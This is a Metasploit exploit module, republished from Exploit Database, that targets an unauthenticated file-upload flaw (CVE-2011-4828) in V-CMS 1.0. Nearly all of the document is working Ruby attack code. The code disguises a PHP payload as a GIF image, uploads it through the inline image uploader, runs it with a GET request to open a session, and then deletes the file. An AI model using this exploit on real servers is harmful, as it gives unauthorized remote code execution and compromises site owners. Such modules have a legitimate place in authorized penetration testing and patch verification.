V-CMS – Arbitrary ‘.PHP’ File Upload / Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2012-04-14
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18738/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "V-CMS PHP File Upload and Execute",
  			'Description'=> %q{
  					This module exploits a vulnerability found on V-CMS's inline image upload feature.
  				The problem is due to the inline_image_upload.php file not checking the file type
  				before saving it on the web server. This allows any malicious user to upload a
  				script (such as PHP) without authentication, and then execute it with a GET request.
  
  					The issue is fixed in 1.1 by checking the extension name.By default, 1.1 only
  				allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
  				one of those extension names, which may still be leveraged in an attack.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'AutoSec Tools',#Initial discovery
  					'sinn3r'#Metasploit
  				],
  			'References' =>
  				[
  					['CVE', '2011-4828'],
  					['BID', '50706'],
  					['URL', 'http://bugs.v-cms.org/view.php?id=53'],
  					['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none"
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=>
  				[
  					['V-CMS 1.0', {}],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Nov 27 2011",#When the ticket was created
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])
  				], self.class)
  	end
  
  	def check
  		res = send_request_raw({
  			'uri' => target_uri.path,
  			'method' => 'GET'
  		})
  
  		if res and res.body =~ /V\-CMS v1\.[0-1]/
  			return Exploit::CheckCode::Appears
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def on_new_session(client)
  		if client.type == "meterpreter"
  			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
  			client.fs.file.rm(@payload_name)
  		else
  			client.shell_command_token("rm #{@payload_name}")
  		end
  	end
  
  	def exploit
  		peer = "#{rhost}:#{rport}"
  
  		base = target_uri.path
  		base << '/' if base[-1,1] != '/'
  
  		@payload_name = "#{rand_text_alpha(5)}.php"
  		p = %Q|<?php
  		#{payload.encoded}
  		?>
  		|
  
  		p = p.gsub(/^\t\t/, '')
  
  		post_data = "------x\r\n"
  		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
  		post_data << "Content-Type: image/gif\r\n"
  		post_data << "\r\n"
  		post_data << p
  		post_data << "------x--\r\n"
  
  		print_status("#{peer} Uploading payload: #{@payload_name}")
  		res = send_request_cgi({
  			'uri'=> "#{base}includes/inline_image_upload.php",
  			'method' => 'POST',
  			'ctype'=> 'multipart/form-data; boundary=----x',
  			'data' => post_data
  		})
  
  		if res
  			print_status("#{peer} replies status: #{res.code.to_s}")
  		else
  			print_error("#{peer} No response from server. Will not continue")
  			return
  		end
  
  		print_status("#{peer} Executing payload: #{@payload_name}")
  		res = send_request_raw({
  			'uri'=> "#{base}temp/#{@payload_name}",
  			'method' => 'GET'
  		})
  
  		if res and res.code == 404
  			print_error("#{peer} 404 - the upload probably failed")
  			return
  		end
  
  		handler
  	end
  end